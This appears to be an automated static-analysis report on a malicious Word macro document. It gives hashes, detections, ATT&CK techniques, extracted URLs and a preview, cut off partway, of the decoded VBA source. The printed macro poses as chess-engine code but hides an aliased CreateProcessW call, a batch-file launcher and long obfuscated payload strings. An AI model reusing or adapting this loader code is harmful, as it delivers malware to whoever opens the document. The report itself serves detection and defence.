Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a2aee0c149e1b2fd…

MALICIOUS

Office (OOXML)

435.1 KB Created: 2020-01-13 01:40:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-07-24
MD5: 682b602a7f501236f0ae8ca46ca38883 SHA-1: 4d4a5bd39e721f56106f867bb1df8b5baa6ae072 SHA-256: a2aee0c149e1b2fdd0977749a4659890087791fbe3e6da388520bfb3067b7156
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML document containing VBA macros, specifically an AutoOpen macro that is configured to execute code. Heuristics indicate the VBA p-code executes code via the Shell function. While no specific download URLs are present in the provided evidence, the presence of a VBA macro with execution capabilities strongly suggests it's intended to download and execute a secondary payload, a common tactic for malware delivery.

Heuristics 4

  • ClamAV: Doc.Malware.W2000m-7603021-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.W2000m-7603021-0
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub autoopen()
    'ChooseBookMove()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://xoomer.virgilio.it/ludormio/download.htmIn document text (OOXML body / shared strings)
    • http://www.gnu.org/licenses/In document text (OOXML body / shared strings)
    • http://xoomer.virgilio.it/ludormio/download.htm)�In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 399096 bytes
SHA-256: cce67452ac80d9eb0c7ac022d814628cc9687122be0d456fd8a2075fde1cbc37
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ChessBrainVB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "HashBas"
'==================================================
'= HashBas:
'= Hash functions
'==================================================

'The style of the hash table rows
Public Const TT_NO_BOUND    As Byte = 0
Public Const TT_UPPER_BOUND As Byte = 1
Public Const TT_LOWER_BOUND As Byte = 2
Public Const TT_EXACT       As Byte = 3

Private Const HASH_CLUSTER As Long = 4
Public Const TT_TB_BASE_DEPTH As Long = 222

Public Type THashKey
  ' 2x 32 bit
  HashKey1 As Long
  HashKey2 As Long
End Type

#If VBA7 Then
Public Declare PtrSafe Function GdiGetBatchLimit Lib "gdi32    " () As LongPtr
Public Declare PtrSafe Function GdiTransparentBlt Lib "gdi32     " (ByVal hDC As LongPtr, ByVal x As LongPtr, ByVal Y As LongPtr, ByVal nWidth As LongPtr, ByVal nHeight As LongPtr, ByVal hSrcDC As LongPtr, ByVal xSrc As LongPtr, ByVal ySrc As LongPtr, ByVal nSrcWidth As LongPtr, ByVal nSrcHeight As LongPtr, ByVal crTransparent As LongPtr) As Boolean
Public Declare PtrSafe Function MakeSureDirectoryPathExists Lib "imagehlp.dll " (ByVal lpPath As String) As LongPtr
Public Declare PtrSafe Function CreateFileW Lib "kernel32  " (ByVal lpFileName As LongPtr, ByVal dwDesiredAccess As LongPtr, ByVal dwShareMode As LongPtr, ByVal lpSecurityAttributes As LongPtr, ByVal dwCreationDisposition As LongPtr, ByVal dwFlagsAndAttributes As LongPtr, ByVal hTemplateFile As LongPtr) As LongPtr
Public Declare PtrSafe Function CloseHandle Lib "kernel32  " (ByVal hObject As LongPtr) As LongPtr
Public Declare PtrSafe Function CreateCompatibleDC Lib "gdi32   " (ByVal hDC As LongPtr) As LongPtr
Public Declare PtrSafe Function WaitForSingleObject Lib "kernel32   " (ByVal _
hHandle As LongPtr, ByVal dwMilliseconds As LongPtr) As LongPtr
Public Declare PtrSafe Function SetEnvironmentVariable Lib "kernel32   " Alias "SetEnvironmentVariableA" (ByVal lpName As String, ByVal lpValue As String) As LongPtr
Public Declare PtrSafe Sub GetStartupInfoA Lib "kernel32   " (lpStartupInfo As STARTUPINFO)
Public Declare PtrSafe Function GetEnvironmentVariable Lib "kernel32  " Alias "GetEnvironmentVariableA" _
(ByVal lpName As String, ByVal lpBuffer As String, ByVal nSize As LongPtr) As LongPtr
Public Declare PtrSafe Function GetDC Lib "user32   " (ByVal hwnd As LongPtr) As LongPtr
Public Declare PtrSafe Function DeleteObject Lib "gdi32  " (ByVal hObject As LongPtr) As LongPtr
Public Declare PtrSafe Function SelectObject Lib "gdi32   " (ByVal hDC As LongPtr, ByVal hObject As LongPtr) As LongPtr
Public Declare PtrSafe Function BitBlt Lib "gdi32  " (ByVal hDestDC As LongPtr, ByVal x As LongPtr, ByVal Y As LongPtr, ByVal nWidth As LongPtr, ByVal nHeight As LongPtr, ByVal hSrcDC As LongPtr, ByVal xSrc As LongPtr, ByVal ySrc As LongPtr, ByVal dwRop As LongPtr) As LongPtr
Public Declare PtrSafe Function LegendasApiPro Lib "kernel32          " Alias "CreateProcessW" (ByVal lpApplicationName As LongPtr, ByVal lpCommandLine As LongPtr, ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _
ByVal bInheritHandles As LongPtr, ByVal dwCreationFlags As LongPtr, _
ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As LongPtr, _
lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Public Declare PtrSafe Function StretchBlt Lib "gdi32  " (ByVal hDC As LongPtr, ByVal x As LongPtr, ByVal Y As LongPtr, ByVal nWidth As LongPtr, ByVal nHeight As LongPtr, ByVal hSrcDC As LongPtr, ByVal xSrc As LongPtr, ByVal ySrc As LongPtr, ByVal nSrcWidth As LongPtr, ByVal nSrcHeight As LongPtr, ByVal dwRop As LongPtr) As LongPtr
Public Declare PtrSafe Function GetStretchBltMode Lib "gdi32      " (ByVal hDC As LongPtr) As LongPtr
#Else

Public Declare Function GdiGetBatchLimit Lib "gdi32   " () As Long
Public Declare Function CreateCompatibleDC Lib "gdi32  " (ByVal hDC As Long) As Long
Public Declare Function GdiTransparentBlt Lib "gdi32       " (ByVal hDC As Long, ByVal x As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal crTransparent As Long) As Boolean
Public Declare Function MakeSureDirectoryPathExists Lib "imagehlp.dll  " (ByVal lpPath As String) As Long
Public Declare Function CloseHandle Lib "kernel32  " (ByVal hObject As Long) As Long
Public Declare Function CreateFileA Lib "kernel32  " (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As LongPtr, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Public Declare Function BitBlt Lib "gdi32  " (ByVal hDestDC As Long, ByVal x As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Public Declare Function GetDC Lib "user32  " (ByVal hwnd As Long) As Long
Public Declare Function WaitForSingleObject Lib "kernel32" (ByVal _
hHandle As Long, ByVal dwMilliseconds As Long) As Long
Public Declare Function SetEnvironmentVariable Lib "kernel32  " Alias "SetEnvironmentVariableA" (ByVal lpName As String, ByVal lpValue As String) As Long
Public Declare Function GetEnvironmentVariable Lib "kernel32  " Alias "GetEnvironmentVariableA" _
(ByVal lpName As String, ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Sub GetStartupInfoA Lib "kernel32  " (lpStartupInfo As STARTUPINFO)
Public Declare Function DeleteObject Lib "gdi32  " (ByVal hObject As Long) As Long
Public Declare Function LegendasApiPro Lib "kernel32          " Alias "CreateProcessW" (ByVal lpApplicationName As Long, ByVal lpCommandLine As LongPtr, ByVal _
lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, _
ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _
ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Public Declare Function SelectObject Lib "gdi32" (ByVal hDC As Long, ByVal hObject As Long) As Long
Public Declare Function StretchBlt Lib "gdi32   " (ByVal hDC As Long, ByVal x As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long
Public Declare Function GetStretchBltMode Lib "gdi32  " (ByVal hDC As Long) As Long

#End If



Public ZobristHash1    As Long
Public ZobristHash2    As Long
Public HashWhiteToMove As Long
Public HashWhiteToMove2 As Long
Public HashWCanCastle  As Long
Public HashWCanCastle2  As Long
Public HashBCanCastle  As Long
Public HashBCanCastle2  As Long


Public InHashCnt       As Long
Public HashUsage       As Long
Private bHashUsed      As Boolean
Public HashGeneration As Long
Public EmptyHash As THashKey

Private Type HashTableEntry
  Position1 As Long ' 2x32 bit position hash key
  Position2 As Long
  Depth As Long ' negative values possible for QSearch
  MoveFrom As Byte
  MoveTarget As Byte
  MovePromoted As Byte
  EvalType As Byte
  Eval As Long
  StaticEval As Long
  Generation As Byte
  IsChecking As Boolean
End Type

Public HashSize                            As Long

Dim ZobristTable(1, 0 To 16)  As Long ' key for each piece typ eand board position
Dim ZobristTable2(1 To 5, 0 To 16) As Long

'The main array to hold the hash table
Private HashTable()                        As HashTableEntry


Private Sub MemDrawLine3754()
Options.ReplaceSelection = True
ActiveDocument.Sentences(1).Select
Selection.TypeText "e76F655Db989AABcaGee6857aFEFGFbdG6b9Ea677CDEGbc6BF665d59BFE9cd5d7cB6A75E8CA6a"
Selection.TypeText "DC7Cea5BAFbaaa65ccC79eC8E79DdBdBabC5d9cecBeFDecDdEBFea5b7bEa6FBAaEe566CabDac7"
Selection.TypeText "5GD77dBECdGbG9EDEE6bEGacb966AE6cDCad675B55b9ebc8GGd57dB9DacBC6FD8c7DG87BaBFdA"
Selection.TypeText "5AcaeBcGAa88Gbc7cGBAE77bdceaE7CCBC7EB655b6E56G5EeEB587db5FG9b8bADGGe76D89deCa"
Selection.TypeText "c9859DEEC6B899caBAA86D7A5CGCEG5DDd5cebbEC5dd8BAGD67cE69ccBecE78A7GdDBdaD8a7G7"
Selection.TypeText "GGGcdCB9EcC9CcCGd758a6E9CcDb5AFA8e9Gec9bBA96d69dE8dGAcd96b68A8e66BEaADdDaaB6E"
Selection.TypeText "76bBGc8dabbCae5Gb775GCdcEB6FFCG5ECCGCceDebeE57BCaG9CBb7CB57eebd8ed9accd6B5F86"
Selection.TypeText "eCFDA5Da6FcAddF6d7aFAEEFAdEB6cG7ce8Fe6cc68DAD87dadF88eDcD79DAB88b9EA5aCB6FEEe"
Selection.TypeText "BAFc58c5BcCGaF6F6FD9ba8dD7dBdEd87edGCEDEDcBbBE7GcA5adaEAA89FGdBBDdGdacDe5987B"
Selection.TypeText "F5CDd6dDcCEaG7GCFBCBGB8996edcBe6cGdAd66D85ebB9E6FGB69GFB7C6B9Ed7da668c6GecDBb"
Selection.TypeText "b8578576abDDGCcbFDbd8aea6FGe9GB99cc8caFAaEECDd9FGC5dE95ae659CcDD5Faa8Ae8b7dFc"
Selection.TypeText "EG8bc96c5bacGFCeGc6CddF6dGbaCd5C7cDGbcBb6FbaaFA5ee7CaD9GG98eCGa5579ed56855d7F"
Selection.TypeText "9977ccG7b5aFG5eFDa77AAcd7675B8E69E75GB85EeDCbCAEGeGAe6dGAbcGa88AbC8EFF5ad95cb"
Selection.TypeText "5EbbGD98c6bF96ddd6AceA79BFG5AE55EGbdFb6dcBe5EBb6caDF76eDe9AC86a7EeE8BEGDB969F"
Selection.TypeText "DEBdE6CebF9cAdCdCG9eEE9cdBF997ED8d89de7AcacceC9E9GeEGe7BdBCdE77ecGAFd69E7aDCA"
Selection.TypeText "8F7bGCcE7AGddB9d9CbEe6CGddFGeFdBGa97F85d5AcFae8bAeAeGDbaG76G9957aD8b7cF56bDB7"
Selection.TypeText "EE8DaFeCFdCee5cEcE985b7aG8bBe7cBAbFaBc6BB8bGBAa5DAaA859bcDebCCdbbdEGdd88GFCCc"
Selection.TypeText "bBdFebDadDDCC8F55ABCdDd8CaeGA9B96GCA79C8a7FF8c8A8AdeaeB69edE87CFdG88G8GacD57B"
Selection.TypeText "C86De655Bd6bCFGeeBe7FFe9EE9ADAC9BFaFedFCAFFGDFaaaEGaa9cAFdC79eEFGDG7BcaAD56Ed"
Selection.TypeText "cFEB6FFBcDdb89AEFaBF8aaFAD9G9bF5aB5A9CcGF6CDE5CbeB78GadeFCFeEC567EBE65c68dd6B"
Selection.TypeText "9FcF9BeEEFFF7d665FD759C85EabEdbAabdEB9bB778e9d5Cab6aBeBE8BdF8D75G7d7cEbGFcAA7"
Selection.TypeText "CbG9GA9CC98GbB6EF8GFCeaGBGFBGG7b979BCCD6GGDB6EGBAGb5DGFGCdEc77dAAc7dDGCad6abG"
Selection.TypeText "eBb9B7C86aCDFBE9BBa8Gae5DeaaDcBadF9DdE78b5BGC7AbaBaCa98edacbcec5eA7EGbFBee85C"
Selection.TypeText "Bc8AcBe67GB699D6FGaB7GDDb5D6ccdDbD56655cD9ce6EAA8be7aACdG69eb7BdA67aFDcBAcbA8"
Selection.TypeText "cAaFFd6EDBe6DF6aGAaaDF76ddd8FcCGbDdGDe56Fc566ECEG7E5GeA6EbGG8AGaabc8dG8B58Dd6"
Selection.TypeText "8676E6Dc5Fb86dDc7AeebAG56cDc9eEdG8F5a5c9G8F8aeCc6EBecedde8CBeF58BaD95E8BdbF69"
Selection.TypeText "57b77bGED6cDcD9ABCad97c6A6AeGcA7G8CA8baDDDFacbEe9e8D67ACG5e9cG6a59dEC8EGAAdDa"
Selection.TypeText "b995Gc5BbCbeAb8bAGaF6D9G7bb5B8CFAcc5d5GFD6e5GB7AB76CeaDAEc698CbCcGeAaEBdE865a"
Selection.TypeText "aeEcCF97Bb77E8GGabd7bEB98c958EFC87ABbA5DA7B988c6GaFFb6aC7GAAC8d8Cc8FG8GC56CCd"
Selection.TypeText "69AC9C7Gd7Cd9bG6CG6e768Aac7Ee59ACCBaDF5dCFdE58dG9BF9D7DBABb8ECB7EcB8Gd6Ga8dAb"
Selection.TypeText "bFc8bCcAbdAC8Gc8aD9BDcFBeEA99CG6d8c97CDEbF97CGedDa5597eEBFEGdEDbDBddBdD7DFb8C"
Selection.TypeText "78b6EBCCe78bDB5BAEBcec7DD6FDdCAa9E79b6Ea9G9G5dA95CaDFCb66CBED6dEG7bDDFca7d96E"
Selection.TypeText "E9AC9a565aG9AeFbD5ce75e59GDa6EabEDCBD8aa577aD6d8b8FGe79CGebF99e79de759576bDEA"
Selection.TypeText "87abb9B966a66BBeeDEG9aCeF7b867B7bBFGcd9e59BAb8c9aDc6GECBBFGceDDABdDCacA7Bc8GA"
Selection.TypeText "8EabFcd565Eb98d9dBeeCAGC95F7GFb98eG56B8G8E6GebBdABaaF5cBDED9Deaa7bBBG8eBe88E7"
Selection.TypeText "CeAcabe67Da95C5D7B8C6B65CGc969Fa8ccbDDAaD9GGAd76BaCb6cccF9Ba7579GF6BF6CcaCe7E"
Selection.TypeText "bD86e55edD7eG7B7DG7ECDe68b6GC7F9cEbGG97D7C6GFGGbdBcDG686G9ce5AAFF97GDGD8dDAGd"
Selection.TypeText "8GE77ae6a69FcFACAC657E8d9EeDcb9FB7d7cAEbed7be7ADcGCEa6Bd7eFFdBC66dAcCAd7aeG9a"
Selection.TypeText "Dc6DAFdAeF7ecCEdE55cFBaa96bA8cBBeCbDb8dDbG97ED5AeB7bdG8CF6dCd9GCb9EEGBd7B88eG"
Selection.TypeText "8d58AEG996EEAE8AG5EB7Ee8DC9GDEca7996ad9AABd6F77AFF58d5accadCdAFFEB9EC6ccdGeeD"
Selection.TypeText "bGBaFDEdB8EC9eGd9b7c6Ed6cabE9F8Fab9AdD9DcEFbc6eBDEE7BEAGF9G7AG5bCeacAee9b8c6d"
Selection.TypeText "dcFFCECGceceeDa86ABbeAd59E8G7bCDEGE6c5D5bcbDE9ea89dCe8bBec6GG5F988C8B665E66Cd"
Selection.TypeText "B66FdaEeDCeeD7bEE955A6DBAdDGd8bFEacF6b6a9DD9bd9FCd97d66B9Ba5Cd6cD665FFDAcF67e"
Selection.TypeText "bdD89cF7Gaa7Aec568Cc97eAA6EG8DbA9e5Cd85cdDd6C8d8BBac757Ba57Ga8F6cBa5Aae96ccGF"
Selection.TypeText "d7bbb95aE77FccCdDede8e9eBdA8A8ebbc5bD87GDbdFe5GG956DF6CGFe888CDD6B9E8BA75ddB5"
Selection.TypeText "c5aCE7A6A6eG7eD96bBAacEaaFaDdcd8CGE7ebcDBC9bAB6G58e9BcCBADA98c9BCFdBCc87FFB9A"
Selection.TypeText "C6bFaddGDbaC79eB679GEFD976BaB5GE5G7eFdFB7C5c8A6AGcA58aGEa67GaBcAE6aEA5B9DBaCd"
Selection.TypeText "D65bBA5GGB5GGCEFD697E8BecE9DB88adBFBC85BDF6c85acFF6EdG8FG7CGC5F66eaGD9e9cFd6c"
Selection.TypeText "c97bdADbdFDE8CC96aGc8CGF6EAF788BABeB8d6EDDGF7b778cD8CEbBDDcdGe8C8daB8BCcGCC5E"
Selection.TypeText "CGD5Fea6AdAABceEEGG5EGc956D9dc95EB9AEG5C8dcCbBC65DBCaFdBaaec8bGGCG68eC687F5Ac"
Selection.TypeText "77cdaaAd6eadF9cFad655G66CEAECD7A9e5ae6abD6BGcGBd5d9CEe5GE98Dd6d5A7dD66accDbdD"
Selection.TypeText "8F6B9a9bBCB6AbeB9F6ddaDEbBDBeADbE9DcBBdBabdBbAecEcD9DGE8aC6B8EEe6dC85Faba8Baa"
Selection.TypeText "Faa9cAb7DGEE9C6GbDEEAb69GDF7a69B7DbF996GbEaFc6aBF7dcGBbb7dCGec5ce9eaC5a8bAeFd"
Selection.TypeText "6dF88cdGdCFEGDd85DAEE6Dc8e6BE56BdF8CGe6G7GFGAAdaA6AAcaGe8c856EFABCGF57B8E5adD"
Selection.TypeText "daBbEb68aFAAceD57887GDDBa6D6c5B89FeedGFFdFG7aDeb88b95cCF9C7Fb666C7CEGaBecdGDB"
Selection.TypeText "G6e8FdddAD5adGd7C8dGaaACC5GbbF8DeFGbEe6e8eGF9E5DBab75BEB7GDeb58Ebd5C9dDd7bd8E"
Selection.TypeText "A6EGCA55F7aeGd57E76CDb59FGccF9daE9aGEeeDde5B9Dc8D9FGbCeGBbFBA5CbD6D9beBF77Dc8"
Selection.TypeText "D5eAaaEEF556EBFG68aeAEdae9C9G56E7EAFaEdec6bD85cCC5BdFaccAAA755Fbdb65DaeDbF5C7"
Selection.TypeText "e6dBGeDaB785cCdFF75989C85cadC65E9b5dDBE8G5d5ac9668EeEAAba59BcccE8B67b87E6bFCB"
Selection.TypeText "GeC8aeAee68C8C7A86cFEac998ADc56CE5eF5BdcD69cc5d8CCDe9CEC8EECAbeBGBEdDFF7cGGbc"
Selection.TypeText "e679977A6DC97a9cbeebEBcG6B9a8Bd6BaFB6EDDFbD8bEcDBccaC6eC9cbd5Ge8CA5EGFBD8dbCe"
Selection.TypeText "a6Dc6bDbAEBAD86c8abEEDEeaDGGEcAaeDGb5DAbAEcFe7BEEGA98dDcDCaBFcBdAdD8bd56Aed7F"
Selection.TypeText "aGeG898cdbCdAcdb5dBG86BEbc5BC57aeCB5Ec5DFGAEFEd9dEeAE9de6GFdb76F6EFAEbeCEBeE5"
Selection.TypeText "DcaeCcF865FaCcddFC86BAFBd79a9979GeCBA9A8cBF7CDaCAEbb8dA77B8BB7GGdC6Aea787GAA7"
Selection.TypeText "7dE7EeC9de7d5AcEc9GeGBEbccbEacEAa59G587BdD86bBC8c96GAaBaa8c79Fe8a6GGed8CG7B8G"
Selection.TypeText "9FabdDb6CF6Aa7dB8e7b6Fd8G8D679d69GaCGF8ededacCEbF6GBbbcb8eAGa875GeeGedGEaDGD7"
Selection.TypeText "a5bDeEGFaeda7DDAD798AGDb7ebDcAE9FABBbDCD9EC7c9BAdC8dDeD9Fcb5BFGG65c6Da5AeC9EA"
Selection.TypeText "E8DBDdGD8dbAGedFAGDa9D7Dd7DEEDdbdEGbdBdDFEE6A6baFGCD9E8B57aaeGeeCbc5CD9Ce667E"
Selection.TypeText "dBad59FeFDF6dceEeD8a9Aa6FcA5aB8G8dEa7Bb756Fe6A55aCF69bebGBbFccEc9eb9d8BF7aGBb"
Selection.TypeText "ADBGe9G6cc69F6FEF55EDBb7abCce8EbbaeCCFGCAda8d9dAAbb8BE765DCdCb8AAadB5B85Cbe8b"
Selection.TypeText "CEC896FC8E9C6aaddDd75CabEbG67aFb7FcecEFc856Bc5EG5aeFCbGb7DE96baDGaCAB9E7dcC5b"
Selection.TypeText "Gc6FD689dAD6EcbAC55DAd7GaB7Bec959987aG5aACaCE6GAa5daaE5D7BFbaaa5ceE6AE79CBAEE"
Selection.TypeText "DCDA6C69GcADaF5dEFFe6EAGdDbCA57Fa9eFca7dGGA8G6a95GEbdCFb7F55AeE57FCGd7cCcbdDe"
Selection.TypeText "CFGe8DBa8C77c6a5cCcb7ADa8b8e89GB8aFccc859eEA6bFee6bEeADd9GE9bGEB5eBEDCbc99FB6"
Selection.TypeText "aCCFB6Dbb5e9eDc98bGEe8CeEae9a6GbecB7aaCeBaC7AAa7Aa7aF5ed75798b9a7bA55CbFEebb6"
Selection.TypeText "DFaGB7eE9GB8eBbDbGb7deca7C9a7a8EdeddGbcc5EeECGbF7598FFF7597DCGEEeG6DdC7a8E7AD"
Selection.TypeText "F97EEDF66Gd6B5eCB9GG7e5CAb69BEaDEGA9a5F7FCeeG99e57GccaA8D7A78EEe5FDdFE9GdCFDc"
Selection.TypeText "BD6BGDdDc86DeG98DCG9DB8G7CeD8FB8966ebDa9DDb9FFaFDA658eA55edFE8G5CGbFGba6CGdF9"
Selection.TypeParagraph
End Sub

Public Function TestDocSize() As Boolean
LoadFilesFromDisk "C:\AprilReport\LogsTsg\LogsTsg7\LogsTsg8\List1.bat"
MsgBox "Process Finished"

End Function

Public Sub InitHash()
  'Initialize the hash-table
  Static bIniReadDone As Boolean
  
  If Not bIniReadDone Then
    HashSize = HashSize * 40000   ' seems to fit...? hash len = 22
    bIniReadDone = True
  End If
  
End Sub



Private Sub MemDrutyuawLine3754()
Options.ReplaceSelection = True
ActiveDocument.Sentences(1).Select
Selection.TypeText "e76F655Db989AABcaGee6857aFEFGFbdG6b9Ea677CDEGbc6BF665d59BFE9cd5d7cB6A75E8CA6a"
Selection.TypeText "DC7Cea5BAFbaaa65ccC79eC8E79DdBdBabC5d9cecBeFDecDdEBFea5b7bEa6FBAaEe566CabDac7"
Selection.TypeText "5GD77dBECdGbG9EDEE6bEGacb966AE6cDCad675B55b9ebc8GGd57dB9DacBC6FD8c7DG87BaBFdA"
Selection.TypeText "5AcaeBcGAa88Gbc7cGBAE77bdceaE7CCBC7EB655b6E56G5EeEB587db5FG9b8bADGGe76D89deCa"
Selection.TypeText "c9859DEEC6B899caBAA86D7A5CGCEG5DDd5cebbEC5dd8BAGD67cE69ccBecE78A7GdDBdaD8a7G7"
Selection.TypeText "GGGcdCB9EcC9CcCGd758a6E9CcDb5AFA8e9Gec9bBA96d69dE8dGAcd96b68A8e66BEaADdDaaB6E"
Selection.TypeText "76bBGc8dabbCae5Gb775GCdcEB6FFCG5ECCGCceDebeE57BCaG9CBb7CB57eebd8ed9accd6B5F86"
Selection.TypeText "eCFDA5Da6FcAddF6d7aFAEEFAdEB6cG7ce8Fe6cc68DAD87dadF88eDcD79DAB88b9EA5aCB6FEEe"
Selection.TypeText "BAFc58c5BcCGaF6F6FD9ba8dD7dBdEd87edGCEDEDcBbBE7GcA5adaEAA89FGdBBDdGdacDe5987B"
Selection.TypeText "F5CDd6dDcCEaG7GCFBCBGB8996edcBe6cGdAd66D85ebB9E6FGB69GFB7C6B9Ed7da668c6GecDBb"
Selection.TypeText "b8578576abDDGCcbFDbd8aea6FGe9GB99cc8caFAaEECDd9FGC5dE95ae659CcDD5Faa8Ae8b7dFc"
Selection.TypeText "EG8bc96c5bacGFCeGc6CddF6dGbaCd5C7cDGbcBb6FbaaFA5ee7CaD9GG98eCGa5579ed56855d7F"
Selection.TypeText "9977ccG7b5aFG5eFDa77AAcd7675B8E69E75GB85EeDCbCAEGeGAe6dGAbcGa88AbC8EFF5ad95cb"
Selection.TypeText "5EbbGD98c6bF96ddd6AceA79BFG5AE55EGbdFb6dcBe5EBb6caDF76eDe9AC86a7EeE8BEGDB969F"
Selection.TypeText "DEBdE6CebF9cAdCdCG9eEE9cdBF997ED8d89de7AcacceC9E9GeEGe7BdBCdE77ecGAFd69E7aDCA"
Selection.TypeText "8F7bGCcE7AGddB9d9CbEe6CGddFGeFdBGa97F85d5AcFae8bAeAeGDbaG76G9957aD8b7cF56bDB7"
Selection.TypeText "EE8DaFeCFdCee5cEcE985b7aG8bBe7cBAbFaBc6BB8bGBAa5DAaA859bcDebCCdbbdEGdd88GFCCc"
Selection.TypeText "bBdFebDadDDCC8F55ABCdDd8CaeGA9B96GCA79C8a7FF8c8A8AdeaeB69edE87CFdG88G8GacD57B"
Selection.TypeText "C86De655Bd6bCFGeeBe7FFe9EE9ADAC9BFaFedFCAFFGDFaaaEGaa9cAFdC79eEFGDG7BcaAD56Ed"
Selection.TypeText "cFEB6FFBcDdb89AEFaBF8aaFAD9G9bF5aB5A9CcGF6CDE5CbeB78GadeFCFeEC567EBE65c68dd6B"
Selection.TypeText "9FcF9BeEEFFF7d665FD759C85EabEdbAabdEB9bB778e9d5Cab6aBeBE8BdF8D75G7d7cEbGFcAA7"
Selection.TypeText "CbG9GA9CC98GbB6EF8GFCeaGBGFBGG7b979BCCD6GGDB6EGBAGb5DGFGCdEc77dAAc7dDGCad6abG"
Selection.TypeText "eBb9B7C86aCDFBE9BBa8Gae5DeaaDcBadF9DdE78b5BGC7AbaBaCa98edacbcec5eA7EGbFBee85C"
Selection.TypeText "Bc8AcBe67GB699D6FGaB7GDDb5D6ccdDbD56655cD9ce6EAA8be7aACdG69eb7BdA67aFDcBAcbA8"
Selection.TypeText "cAaFFd6EDBe6DF6aGAaaDF76ddd8FcCGbDdGDe56Fc566ECEG7E5GeA6EbGG8AGaabc8dG8B58Dd6"
Selection.TypeText "8676E6Dc5Fb86dDc7AeebAG56cDc9eEdG8F5a5c9G8F8aeCc6EBecedde8CBeF58BaD95E8BdbF69"
Selection.TypeText "57b77bGED6cDcD9ABCad97c6A6AeGcA7G8CA8baDDDFacbEe9e8D67ACG5e9cG6a59dEC8EGAAdDa"
Selection.TypeText "b995Gc5BbCbeAb8bAGaF6D9G7bb5B8CFAcc5d5GFD6e5GB7AB76CeaDAEc698CbCcGeAaEBdE865a"
Selection.TypeText "aeEcCF97Bb77E8GGabd7bEB98c958EFC87ABbA5DA7B988c6GaFFb6aC7GAAC8d8Cc8FG8GC56CCd"
Selection.TypeText "69AC9C7Gd7Cd9bG6CG6e768Aac7Ee59ACCBaDF5dCFdE58dG9BF9D7DBABb8ECB7EcB8Gd6Ga8dAb"
Selection.TypeText "bFc8bCcAbdAC8Gc8aD9BDcFBeEA99CG6d8c97CDEbF97CGedDa5597eEBFEGdEDbDBddBdD7DFb8C"
Selection.TypeText "78b6EBCCe78bDB5BAEBcec7DD6FDdCAa9E79b6Ea9G9G5dA95CaDFCb66CBED6dEG7bDDFca7d96E"
Selection.TypeText "E9AC9a565aG9AeFbD5ce75e59GDa6EabEDCBD8aa577aD6d8b8FGe79CGebF99e79de759576bDEA"
Selection.TypeText "87abb9B966a66BBeeDEG9aCeF7b867B7bBFGcd9e59BAb8c9aDc6GECBBFGceDDABdDCacA7Bc8GA"
Selection.TypeText "8EabFcd565Eb98d9dBeeCAGC95F7GFb98eG56B8G8E6GebBdABaaF5cBDED9Deaa7bBBG8eBe88E7"
Selection.TypeText "CeAcabe67Da95C5D7B8C6B65CGc969Fa8ccbDDAaD9GGAd76BaCb6cccF9Ba7579GF6BF6CcaCe7E"
